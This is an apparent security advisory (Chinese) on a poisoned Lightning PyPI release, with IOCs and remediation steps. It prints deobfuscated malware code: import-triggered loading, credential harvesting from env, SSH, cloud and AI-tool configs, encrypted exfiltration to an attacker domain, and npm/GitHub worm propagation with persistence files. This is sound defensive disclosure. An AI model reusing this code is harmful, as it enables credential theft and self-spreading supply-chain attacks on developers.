墨思AIAGENT监测发现PyTorchLightning训练框架被投毒,月下载量超1000万

admin 2026-05-02 05:34:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 墨思AIAgent于2026年4月30日监测发现PyTorchLightning训练框架在PyPI仓库遭遇供应链投毒,涉及2.6.2和2.6.3版本,月下载量超1000万。攻击者在runtime文件中植入恶意代码,用户导入lightning即触发窃密逻辑,收集环境变量、云服务密钥、Git凭据等敏感数据并加密回传至攻击者服务器。建议受影响用户立即移除受影响版本并轮换相关密钥。 综合评分: 87 文章分类: 供应链安全,漏洞预警,恶意软件,数据安全,云安全


cover_image

墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万

原创

安全实验室 安全实验室

墨菲安全

2026年4月30日 23:57 山东

在小说阅读器读本章

去阅读

01.

概述

2026 年 4 月 30 日下午 8 点 50,墨菲安全研发的通用安全AI Agent 墨思监测发现,月下载量超1000万的 AI 训练框架 Lightning  的 PyPI 包遭遇供应链投毒,且截至发现时投毒版本仍未下架。Lightning 是基于 PyTorch 的深度学习训练框架,主要用于自动化模型训练流程,具备较高生态影响面。

本次投毒涉及 lightning 2.6.2 和 2.6.3 版本。攻击者在组件运行时文件中植入恶意代码,用户安装受影响版本并执行 import lightning 后即可触发窃密逻辑。恶意代码会收集开发者环境中的敏感凭据,包括环境变量、包管理器配置、Git/GitHub 凭据、SSH Key、云服务密钥、CI/CD 密钥、容器与集群配置、钱包文件、通信软件数据以及 Claude/Kiro MCP 等 AI 开发工具配置,并将数据回传至攻击者控制的服务器。

该事件属于高影响 Python / AI 生态供应链投毒攻击,攻击目标聚焦开发者主机、模型训练环境和 CI/CD 环境中的高价值凭据。建议已安装或导入受影响版本的用户立即排查环境、移除受影响版本,并轮换相关密钥。

02.

攻击者近期持续针对性投毒,前日SAP旗下组件受影响

4 月 29 日,NPM仓库中的@cap-js/db-service、@cap-js/sqlite 等多个组件也被发现存在同类恶意代码。作为 SAP CAP 框架的数据库服务核心组件,在npm中周下载量数十万次。

触发方式是 package.json 里的 preinstall 脚本和 lightning 侧的 start.py 是同一套逻辑的两种语言实现——相同的 Bun v1.3.13、相同的平台资产命名(bun-linux-x64-baseline/bun-darwin-aarch64等)、相同的 Alpine musl 探测,最终执行同体量的混淆 JS 载荷 execution.js(11,723,748 字节)。

```
setup.mjs      SHA256: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js   SHA256: eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb
两个案例的时间间隔不到 24 小时,当前攻击者仍在持续用同类手法对其他开源组件投毒。

**03.**

投毒代码分析

![](https://mmbiz.qpic.cn/sz_mmbiz_png/UiaccMk8iaCdyhFbuibJfzEmUpNeAKatohq2a0kMXTN6tendow7Qj7aOnGsPjwS9EmBUE8kOrZETRrVzUwlTY5icibg/640?from=appmsg&tp=webp&wxfrom=10005&wx_lazy=1#imgIndex=3)

以 lightning v2.6.2为例,投毒代码在 lightning/*runtime/router*runtime.js 中:

![](https://mmbiz.qpic.cn/mmbiz_png/cibAXD9R1dZicRhfmE77rZJfmSyK71LLtPsvcgFaSttfkesyCYmVOpd3qR2MhoNn4Gqtv6FLBx8avh6YFMpfVcTicLibkdJ8ibNqz9JkudhqMBjY/640?wx_fmt=png&from=appmsg#imgIndex=4)

反混淆后的恶意代码逻辑包括:

1. 导入即执行

文件路径:lightning/\_\_init\_\_.py,当用户 import lightning 时就会静默启动\_runtime/start.py:
import osimport subprocessimport sysimport threadingdef _run_runtime() -> None:    runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")    start = os.path.join(runtime_dir, "start.py")    if os.path.exists(start):        subprocess.Popen(            [sys.executable, start],            cwd=runtime_dir,            stdout=subprocess.DEVNULL,            stderr=subprocess.DEVNULL,        )threading.Thread(target=_run_runtime, daemon=True).start()
2. 下载 Bun 并执行恶意JS

文件路径:lightning/\_runtime/start.py,这一步把 Python 包变成了“恶意加载器”,如果本机没有 Bun,它会先下载解释器,再执行 router\_runtime.js。
BUN_VERSION = "1.3.13"ENTRY_SCRIPT = "router_runtime.js"def main():    local_bun = BUN_INSTALL_DIR / ("bun.exe" if is_win else "bun")    system_bun = shutil.which("bun")    if local_bun.exists():        bun_exec = str(local_bun)    elif system_bun:        bun_exec = system_bun    else:        asset = resolve_asset_name()        url = f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip"        urllib.request.urlretrieve(url, zip_path)        # 解压出 bun 二进制到本地 .bun 目录    subprocess.run([bun_exec, str(SCRIPT_DIR / ENTRY_SCRIPT)], cwd=SCRIPT_DIR)
3. 主控流程:收集结果、建立外传通道、再决定是否横向传播

信息窃取不是单点窃密,而是“收集 -> 外传 -> 再传播”的完整攻击链:
async function main() {  await setupEnvironment(); // 俄语环境退出、非 CI 后台化、加锁  const primarySender = await new DomainSenderFactory({    domain: "zero.masscan.cloud",    port: 443,    path: "v1/telemetry",    dry_run: false,  }).tryCreate();  const quickResults = await Promise.all([    collectFilesystemSecrets(),    collectShellAndEnv(),    collectGitHubRunnerSecrets(),  ]);  const githubSender = await createGitHubSenderFromHiddenToken();  const selfGithubSender = await createGitHubSenderFromStolenPATs(quickResults);  const senders = [primarySender, githubSender, selfGithubSender].filter(Boolean);  const collectors = [    new AwsSsmCollector(),    new AwsSecretsManagerCollector(),    new AwsStsCollector(),    new AzureKeyVaultCollector(),    new GcpSecretManagerCollector(),  ];  for (const token of extractGitHubPATs(quickResults)) {    if (await isValidGitHubToken(token)) {      collectors.push(new GitHubActionsSecretsCollector(token));    }  }  await queueAndDispatch(quickResults, collectors, senders);  for (const runnerToken of extractRunnerTokens(quickResults)) {    await new GitHubRepoInfector(runnerToken).execute();  }}
4. 本地与 CI 凭据窃取

它会直接取 gh auth token,还会整包打走 process.env。在 GitHub Actions 里,它不是读普通配置文件,而是试图从 runner 运行环境中把 secrets 挖出来。敏感文件扫描面覆盖开发机、云凭据、Kubernetes、Docker、SSH、AI 工具配置。
async function collectShellAndEnv() {  const result = {};  try {    const token = execSync("gh auth token", {      encoding: "utf-8",      stdio: ["pipe", "pipe", "pipe"],    }).trim();    if (token) result.token = token;  } catch {}  result.environment = process.env;  return success(result);}async function collectGitHubRunnerSecrets() {  if (process.env.GITHUB_ACTIONS !== "true") return failure("Not Actions");  if (process.env.RUNNER_OS !== "Linux") return failure("Not running on Linux runner");  const dump = execSync(    `sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' | sort -u`,    { input: K4f, encoding: "utf-8" }  );  // 从 runner 内存内容中抽取 GitHub Actions secrets  return success(parseSecrets(dump));}const HOTSPOTS = [  "**/.env",  "~/.aws/credentials",  "~/.config/gcloud/application_default_credentials.json",  "~/.kube/config",  "~/.npmrc",  "~/.pypirc",  "~/.ssh/id_rsa",  "/var/run/secrets/kubernetes.io/serviceaccount/token",  "~/.claude.json",  "~/.claude/mcp.json",  ".kiro/settings/mcp.json",];
5. 加密外传到攻击者域名

恶意代码先 gzip,再 AES-256-GCM,再用攻击者 RSA 公钥包一层。这说明作者明确考虑了被中途抓包和被动取证的问题。
async function createEnvelope(data) {  const gz = await gzip(Buffer.from(JSON.stringify(data)));  const aesKey = randomBytes(32);  const iv = randomBytes(12);  const encryptedKey = publicEncrypt(    {      key: ATTACKER_RSA_PUBLIC_KEY,      padding: constants.RSA_PKCS1_OAEP_PADDING,      oaepHash: "sha256",    },    aesKey  );  const cipher = createCipheriv("aes-256-gcm", aesKey, iv);  const ciphertext = Buffer.concat([    cipher.update(gz),    cipher.final(),    cipher.getAuthTag(),  ]);  return {    envelope: Buffer.concat([iv, ciphertext]).toString("base64"),    key: encryptedKey.toString("base64"),  };}async function sendToDomain(envelope) {  await fetch("https://zero.masscan.cloud:443/v1/telemetry", {    method: "POST",    headers: { "Content-Type": "application/json" },    body: JSON.stringify(envelope),  });}
6. GitHub 备用外传:隐藏 token + 新建仓库 + commit 数据

先去 GitHub 提交历史里搜一个隐藏标记,尝试捞出攻击者预埋的 token。成功后,它会新建公开仓库,把窃取结果提交到 results/results-\*.json。某些场景下它还会把新的 token 再次编码进 commit message,形成自举式通道。
async function findHiddenGitHubToken(optionalVictimToken) {  const url =    "https://api.github.com/search/commits" +    "?q=EveryBoiWeBuildIsAWormyBoi&sort=author-date&order=desc&per_page=50";  const results = await fetchJson(url, optionalVictimToken);  for (const item of results.items ?? []) {    const m = item.commit.message.match(      /^EveryBoiWeBuildIsAWormyBoi:([A-Za-z0-9+/]+={0,3})$/    );    if (!m) continue;    const token = Buffer.from(      Buffer.from(m[1], "base64").toString(),      "base64"    ).toString();    if (await hasRepoScope(token)) return createOctokit(token);  }  return false;}async function commitToRepo(envelope) {  const content = Buffer.from(JSON.stringify(envelope, null, 2), "utf8").toString("base64");  const message = envelope.token    ? `EveryBoiWeBuildIsAWormyBoi:${envelope.token}`    : "Add files.";  await octokit.request("POST /user/repos", {    name: randomDuneName(),    private: false,    auto_init: true,    description: "A Mini Shai-Hulud has Appeared",  });  await octokit.rest.repos.createOrUpdateFileContents({    owner,    repo,    path: `results/results-${Date.now()}-${counter++}.json`,    message,    content,  });}
7. NPM 传播:篡改 tarball,植入`preinstall`

这是标准的供应链投毒逻辑:下载包、加入 router\_runtime.js、写入 setup.mjs、篡改 preinstall、再尝试发布。

它利用的是 GitHub Actions 的 OIDC 能力去换 NPM 发布令牌。
async function updateTarball(tgzPath) {  unpackTarball(tgzPath, tmpDir);  copyFileSync(Bun.main, `${tmpDir}/package/router_runtime.js`);  const pkg = JSON.parse(await readFile(`${tmpDir}/package/package.json`, "utf-8"));  pkg.scripts ??= {};  pkg.scripts.preinstall = "node setup.mjs";  pkg.version = bumpPatch(pkg.version);  await writeFile(`${tmpDir}/package/setup.mjs`, zT);  await writeFile(`${tmpDir}/package/package.json`, JSON.stringify(pkg, null, 2));  return repackTarball(tmpDir, "package-updated.tgz");}async function executeNpmPropagation() {  const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;  const { value: oidcToken } = await fetch(    `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,    { headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` } }  ).then((r) => r.json());  await downloadPackages(["@placeholder/package"], oidcToken);}
8. GitHub 仓库传播:向仓库里塞`.claude` / `.vscode` 持久化文件
const FILE_UPDATES = {  ".vscode/tasks.json": vscodeTasks,  ".claude/router_runtime.js": { sourcePath: Bun.main },  ".claude/settings.json": claudeSettings,  ".claude/setup.mjs": zT,  ".vscode/setup.mjs": zT,};async function infectRepo(ghsToken) {  const branches = await fetchEligibleBranches();  await pushChunkedFileUpdates(    branches.map((branch) => ({      branchName: branch.name,      expectedHeadOid: branch.headOid,      files: materializeFiles(FILE_UPDATES),      commitHeadline: "chore: update dependencies",    }))  );}
**04.**

IOC

![](https://mmbiz.qpic.cn/sz_mmbiz_png/UiaccMk8iaCdyhFbuibJfzEmUpNeAKatohq2a0kMXTN6tendow7Qj7aOnGsPjwS9EmBUE8kOrZETRrVzUwlTY5icibg/640?from=appmsg&tp=webp&wxfrom=10005&wx_lazy=1#imgIndex=5)

恶意文件Hash:
3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3  lightning-2.6.2-py3-none-any.whl56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb  lightning-2.6.3-py3-none-any.whl5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1  lightning/_runtime/router_runtime.js

“`

信息外传地址

https[:]//zero.masscan[.]cloud:443/v1/telemetry

05.

处置建议

通过安全工具排查在代码项目、制品、内部制品库中是否引入了lightning的2.6.2、2.6.3版本

基于文件哈希判断是否存在恶意的 router_runtime.js 文件

如果受影响则必须轮换凭证包括:

  • GitHub:吊销所有 PAT、检查 Actions secrets 全量、改用短 TTL OIDC token

  • AWS:失活 access key、CloudTrail 查 IMDS 请求时间前后的异常调用

  • Azure / GCP:service principal / service account key 全量重置

  • npm:npm token revoke 名下所有 token、检查近一周 publish 历史

  • SSH 密钥对

部分典型客户

七大产品矩阵


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:墨菲安全 安全实验室 安全实验室《墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万》

评论:0   参与:  0